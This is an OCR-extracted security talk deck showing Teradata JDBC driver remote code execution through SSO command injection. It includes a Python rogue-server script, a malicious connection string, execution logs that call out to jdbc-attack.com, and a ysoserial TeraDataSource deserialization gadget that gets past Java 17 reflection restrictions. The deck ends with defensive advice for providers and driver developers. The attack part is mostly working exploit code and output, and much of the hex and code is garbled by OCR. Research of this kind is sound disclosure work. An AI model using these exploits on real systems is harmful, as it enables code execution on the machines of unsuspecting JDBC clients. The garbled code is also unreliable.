Does not even require a working Teradata server to achieve RCE on the machine running the JDBC client

Similar to the "Rogue MySQL Server" LOCAL INFILE exploit from many years ago



Teradata JDBC Driver Remote Code Execution via SSO Command Injection

» Python program that fakes the Teradata server handshake protocol

class teradata_request_handler (asyncore.dispatcher_with_send): Fake Server Code Frogment

def __init__(self, addr, url):

asyncore.dispatcher_with_send.__init__(self, sock=addr[0])

self.addr = addr[1]

self.packet_to_send =
bytes.fromhex ('03020a0000070000"')+struct.pack(">H",len(url)+899)+bytes.fromhex('0000000000OOOOOOOEOOOOONOONONONONONNONNNONNOOOOOOO1OOOOOOOOOE5TTOCEEOOONNONONNNNNNOOOMO
PO0000002b024e00ONOO3e80000ON3e80078000177ffOOONOONOON200000001ffOOOOMN4be00555446313620202020202020202020202020202020202020202020202020bT00555446382020202020202020
202020202020202020202020202020202020ff00415343494920202020202020202020202020202020202020202020202020c000454243444943202020202020202020202020202020202020202020
2020204e0100010001540007008c310000640000fadt0000f4240000000007cffO6O00OO700000O0OTTTE8O00OONOO01IO00O00OOOLTOOOONOO1IOOEOOTffTfOONOO8O0OOONANOONO8OOOOONNO40000009e7000TadOOOO
OOf23000007918000000260000falOAEEOOTatOEONEOfantEOEEO7dOEOOEOA7dOONREAOTaNOEOROfantdOOEEONO9e700ONOONO60ONOONNO6OONNONON6ONONN3e8000TanEOEOfffcOOOOOTfTb40000fanOOOO90001
P1000a001cOl1010101010101020100010100010101010201010001010101010102000b002201010101010001010101010102010101010101010001010101010101010001010000000cAHANO6010600162
0101000d003e31372e32302e30332e30392020202020202020202020202020202020202031372e32302e30332e3039202020202020202020202020202020202020202020000e000403030203000f00
28010000010001010000010100000100010001000100000000000OOOOOOOOOOOO1O1OOO1IOOO1IOOOOO1IOO1IOOO01I400000000000000000000800200000000000000000012002001010101010101010000
00000000000000000OOOOOEEEEEEENNNNNNNNNNNNNNNNN13000801010100000CCEEEEEO60002014900a5" )+struct.pack(">H",len(url)+87)+bytes.fromhex('00000001000100050100020008
11140309000300040004000600210006000400050004000700040008000400090004000a000501000b0OO501000cOOO501000e0004001000060100000F"' )+struct.pack(">H",len(url)+11)+byt
es.fromhex ('000372636500"')+struct.pack("B",len(url))+url.encode("ascii")+bytes.fromhex('00a70031000000010000000d2b06010401813f0187740101090010000cOOOOOOO30000
00010011000cOOOOONON1OOMNONO1400a70024000000010000000c2b06010401813f01877401140011000cO000OOON1OOONOONO4600a7002100000001000000092a86488617120102020011000cOOOOM0O1
POOOOO2800a7001eOOOOOOO1OOOOOOO62bO6O1O505020011000cOOOOOOON1IOOONOONO4100a70025000000010000000d2b0601040181e01a04822e01040011000cO0OOONOO1OOONOONO01eONPa7O002500000001
O00000Od2b0601040181e01a04822e01030011000cOOOOOOON1OOONOOO0a")

self.ibuffer = []

def handle_read(self):
data = self.recv(8192)
if data:
log.info('[+]Data received: {}{}'.format(data,"\r\n"))
log.info('[+]Data sending: {}{}'.format(self.packet_to_send,"\r\n"))
self.send(self.packet_to_send)



Teradata JDBC Driver Remote Code Execution via SSO Command Injection

JDBC client connects to fake Teradata server (in Python)
Fake server tells client OIDC is enabled

JDBC client makes URL request to OIDC server, expecting JSON document with openid-configuration format

- Bonus! Blind GET-based SSRF here

JDBC client executes the command in the BROWSER property

DriverManager.registerDriver( com.teradata.jdbc.TeraDriver()) ;

DriverManager.getConnection("jdbc:teradata://127.0.0.1/DBS_PORT=10250, LOGMECH=BROWSER,BROWSER="o0open -a
calculator',TYPE=DEFAULT,COP=0OFF,TMODE=TERA,LOG=DEBUG") ;



Run:

=

Teradata JDBC Driver Remote Code Execution via SSO Command Injection

java.sql.DriverManager;

java.sql.SQLException;

DriverManager.registerDriver(

TeradataDemo {

main(String[] args)

com.teradata. jdbc.TeraDriver());

SQLException A

(U

pyn3rd@MacBookPro | ss python3 —-u rogue_teradata_server.py —-p 10250 -u 'https://jdbc-attack.com/teradata’
04/14/2023 11:40:38 AM [+]Connecting from IP: 127.0.0.1, Port: 54400

04/14/2023 11:40:38 AM [+]Data received: b'\x03\x01\n\x00\x00\x07\x00\x00\x00C\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
AW CLAVERAVCLAVCLAV CLAVCLAV CLAV CLAV CLAV CLAVCLAV CLAV CLAVC LAV CLAVCLAVC LAV C AV C LAV C LAV CLAV CLAV C AV C LAV CPAV C LAV C AV E MAVE AV C AV CIAVC AV C IRV L)
FCIARCHAVC LAV CEAV CLAVCLAVCLAV CRAV CLAVCLAVCLLAN AV CLAV CHAV C AV CLAVCI AV C LAV CIAV CIAVC LAV C AV CLAVC LAV C LAV CARAV CLAV G

04/14/2023 11:40:38 AM [+]Data sending: b'\x03\x02\n\x00\x00\x07\x00\x00\x03\xa3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
00\ xO5\xFF\X00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00+\x02N\x00\x00\x03\ xe8\x00\x00\x03\xe8\x00x\x00\x01w\Xxff\x00\x00\x0

DriverManager.getConnection( url: "jdbc:teradata://127.0.0.1/DBS_PORT=10250, L0GMECH=BROWSER, BROWSER="'0pen -a calculator',6 TYPE=DEFAULT,COP=0FF, TMODE=TERA, LOG=DEBUG") ;

}
+
00
com.example.jdbc.attack.db2.TeradataDemo AC /- % - e —
2023-04-14.11:41:37.530 TERAJDBC4 DEBUG [main] com.teradata.jdbc.jdké.JDKé_SQL. =rce
2023-04-14.11:41:37.530 TERAJDBC4 DEBUG [main] com.teradata.jdbc.jdké.JDK6_SQL. 7 8 9 -SIdPr'OURL=httDs://1'dbc—attack.com/teradata/.well—known/openid-confiquration
2023-04-14.11:41:37.561 TERAJDBC4 DEBUG [main] com.teradata.jdbc.jdké.JDK6_SQL. socketFactory: sHTTPSProtocol=TLSv1.2
2023-04-14.11:41:37.562 TERAJDBC4 DEBUG [main] com.teradata.jdbc.jdké6.JDK6_SQL, A4 5 6 -SocketFactor'y: sm_socketFactory.getDefaultCipherSuites=[TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA2
2023-04-14.11:41:38.098 TERAJDBC4 TIMING [main] com.teradata.jdbc.jdké.JDK6_SQl ] https://jdbc-attack.com/teradata/.well-known/openid-configuration took 567 ms and completed
2023-04-14.11:41:38.098 TERAJDBC4 TIMING [main] com.teradata.jdbc.jdké.JDK6_SQl 1 2 3 - HttpServer with Browser Authentication timeout 180000 ms and browser tab timeout 5000 ms
2023-04-14.11:41:38.101 TERAJDBC4 DEBUG [main] com.teradata.jdbc.jdké.JDK6_SQL. authorization_endpoint": "foo", "token_endpoint": "bar" }
2023-04-14.11:41:38.101 TERAJDBC4 DEBUG [Thread-4] com.teradata.jdbc.jdké.JDKé6. () arver listening on port 54470
2023-04-14.11:41:38.101 TERAJDBC4 DEBUG [main] com.teradata.jdbc.jdké.JDK6_SQL. 5 Foo E
2023-04-14.11:41:38.101 TERAJDBC4 DEBUG [main] com.teradata.jdbc.jdké.JIDK6_SQL_Connection@léec5519 sTokenURL=bar §
2023-04-14.11:41:38.101 TERAJDBC4 DEBUG [main] com.teradata.jdbc.jdké.JDK6_SQL_Connection@lé6ec5519 sCodeVerifier=I5WVBKwIQdjFEqKv4a0zwD2V0t03mZbWjugnKigLXRM i
2023-04-14.11:41:38.101 TERAJDBC4 DEBUG [main] com.teradata.jdbc.jdké.JDK6_SQL_Connection@léec5519 sCodeChallenge=JAnKkqTFPzdb4mspljglHDBTouIlBaGLltHNFevtqJd9Y a
2023-04-14.11:41:38.101 TERAJDBC4 DEBUG [main] com.teradata.jdbc.jdké.JDK6_SQL_Connection@lé6ec5519 sRedirectURL=http://localhost:54470/openid-callback
2023-04-14.11:41:38.101 TERAJDBC4 DEBUG [main] com.teradata.jdbc.jdké.JDK6_SQL_Connection@lé6ec5519 sO0IDCScope=openid :
2023-04-14.11:41:38.101 TERAJDBC4 DEBUG [main] com.teradata.jdbc.jdké6.JDK6_SQL_Connection@léec5519 (before PLACEHOLDER swap) sBrowser=open -a calculator %
2023-04-14.11:41:38.102 TERAJDBC4 TIMING [main] com.teradata.jdbc.jdké.JDK6_SQL_Connection@léec5519 Launching browser open -a calculator %



Bypass high version Java reflection restriction via Teradata JDBC Driver

 Attack interfaces can be combined

« JDBC connection can be leveraged to evade Java deserialization with reflection in JDK

e




CommonsBeanutilsl ObjectPayload<Object> {

Object getObject( String command) Exception {

Object templates - Gadgets.createTemplatesImpl(command) ;

BeanComparator comparator BeanComparator (" lowestSetBit") ;

PriorityQueue<Object> queue PriorityQueue<Object> (2, comparator); CommonsBeantils chget

queue.add ( BigInteger("1"));
queue.add ( BigInteger("1"));

Reflections.setFieldValue(comparator, "property", "outputProperties");

Object[ ] queueArray (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray| 0] templates;
queueArray| 1] templates;

queue;



Bypass high version Java reflection restriction via Teradata JDBC Driver

» Use ysoserial tool to generate CommonsBeanutils1 payload

- java -jar ysoserial.jar CommonsBeanutils1 "open -a calculator" > /tmp/calc.ser

pyn3rd@acBookPro java -jar Deserializerl7.jar /tmp/cb.ser
Java Version: 17.0.1
11:39:09.196 [main] DEBUG org.apache.commons.beanutils.converters.BooleanConverter — Setting default value: false
11:39:09.198 [main] DEBUG org.apache.commons.beanutils.converters.BooleanConverter — Converting 'Boolean' value 'false' to type 'Boolean'
11:39:09.198 [main] DEBUG org.apache.commons.beanutils.converters.BooleanConverter — No conversion required, value is already a Boolean

e« Java reflection has been restricted in Java 17

Exception in thread "main" java.lang.RuntimeException: IllegalAccessException: java.lang.IllegalAccessException: class org.apache.commons.beanutils.PropertyUtilsBean cannot access class com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl (in module java.xml) becaus
e module java.xml does not export com.sun.org.apache.xalan.internal.xsltc.trax to unnamed module @1796cf6c
at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:168)



Bypass high version Java reflection restriction via Teradata JDBC Driver

TeraDataSource TeraDataSourceBase DataSource {

TeraDataSource() {

}
Connection getConnection() SQLException {
.createNewConnection( .user, .password) ;
}
Connection getConnection(String varl, String var2) SQLException {
.createNewConnection(varl, var2);
}



TeraDataSourceBase Referenceable, Serializable {

String getDSName() {
.DSName ;

setDSName (String varl) {

.DSName varl;

String getBROWSER() [ Getter and Setter ]

.m_sBrowser ;

setBROWSER(String varl) {

.m_sBrowser varl;

setLOGMECH (String varl) {
.LogMech varl;

String getLOGMECH() {
.LogMech;



TeraDataSourcel ObjectPayload<Object> {

Object getObject( String command) Exception {

TeraDataSource dataSource TeraDataSource();
dataSource.setBROWSER (command) ;
dataSource.setLOGMECH ("BROWSER") ;
dataSource.setDSName("127.0.0.1");

dataSource.setDbsPort("10250") ;

[ TeraDataSource Gadget ]

BeanComparator comparator BeanComparator (" lowestSetBit") ;

PriorityQueue<Object> queue PriorityQueue<Object> (2, comparator) ;

queue.add ( BigInteger("1"));
queue.add ( BigInteger("1"));

Reflections.setFieldValue(comparator, "property", "connection");
Object[ ] queueArray (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray|0] dataSource;

queueArray| 1] dataSource;

queue;



pyn3rd@acBookPro | .
NEVERTILSTH

» Use ysoserial tool to generate CommonsBeanutils1 payload

Bypass high version Java reflection restriction via Teradata JDBC Driver

- java -jar ysoserial.jar TeraDataSourcel "open -a calculator" > /tmp/tds.ser

13:48:14.547

13:48:
13:48:
13:48:

14.550
14.550
14.552

.. java -jar Deserializerl7.jar /tmp/tds.ser
17.0.1

[main] DEBUG org.apache.commons.beanutils.converters.BooleanConverter — Setting default value: false

[main] DEBUG org.apache.commons.beanutils.converters.BooleanConverter — Converting 'Boolean' value 'false' to type 'Boolean’
[main] DEBUG org.apache.commons.beanutils.converters.BooleanConverter —

[main] DEBUG org.apache.commons.beanutils.converters.ByteConverter — Setting default value: ©

No conversion required, value is already a Boolean

« Java reflection has been evaded successfully in Java 17

13:55:43.071 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter Setting default value: [Ljava.lang.String;@90f6bfd

13:55:43.071 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter Converting 'String[]' value '" vpe 'Stringl[]’
13:55:43.071 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter No conversion required, v °00

13:55:43.071 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter Setting default value: [Ljava

13:55:43.071 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter Converting 'Class[]' value '[ » 'Class[]’

13:55:43.071 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter No conversion required, v

13:55:43.071 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter Setting default value: [Ljava

13:55:43.071 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter Converting 'Date[]' value '[L AC A % '‘Date[]"

13:55:43.071 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter No conversion required, v

13:55:43.071 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter Setting default value: [Ljava

13:55:43.071 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter Converting 'Calendar[]' value 7’ i; s; to type 'Calendar[]’
13:55:43.071 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter No conversion required, v

13:55:43.072 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter Setting default value: [Ljava

13:55:43.072 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter Converting 'java.io.File[]' v ‘l E; (5 ) type 'java.io.File[]'
13:55:43.072 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter No conversion required, v

13:55:43.072 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter Setting default value: [Ljava

13:55:43.072 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter Converting 'java.sql.Date[]' 1 :Z E; to type 'java.sql.Date[]'
13:55:43.072 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter No conversion required, v

13:55:43.072 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter Setting default value: [Ljava

13:55:43.072 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter Converting 'java.sql.Time[]' () to type 'java.sql.Time[]'
13:55:43.072 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter No conversion required, v/ :

13:55:43.072 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter — Setting default value: [Ljava.sqi. iicsiaip,@san/olcy

13:55:43.072 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter — Converting 'java.sql.Timestamp([]' value '[Ljava.sgl.Timestamp;@34b7bfc@' to type 'java.sql.Timestamp[]'
13:55:43.072 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter — No conversion required, value is already a java.sql.Timestamp[]

13:55:43.072 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter — Setting default value: [Ljava.net.URL;@6df97b55

13:55:43.072 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter — Converting 'java.net.URL[]' value '[Ljava.net.URL;@6df97b55' to type 'java.net.URL[]'
13:55:43.072 [main] DEBUG org.apache.commons.beanutils.converters.ArrayConverter — No conversion required, value is already a java.net.URL[]



JDBC Attack Protection



JDBC Security for Service Providers

If you expose JDBC configuration to users in your software / service:

« Use an allow-list for JDBC properties with minimal viable set for business / service needs

« Use only vetted JDBC drivers and do not allow user upload

« Pay special attention to configuration properties which affect file writes and network/OS commands - deny these by default

« Sandbox user-originated JDBC activity in a dedicated VM or cloud function - assume the environment will be compromised and
minimize blast radius

 Regularly review JDBC configurations and usage for malicious or unexpected configuration

« JDBC drivers should be part of your component version lifecycle strategy (keep them updated)



JDBC Security for Developers

If you are developing a JDBC driver..

Do not trust user-provided properties, especially when the properties are used to invoke network calls, OS commands, or code

through reflection

 Beware of the malicious server and consider using checksums or other verifiable data exchange mechanism

« |If you are forking an existing JDBC driver, make sure you stay up to date with the upstream driver and ensure you are applying

particularly security fixes



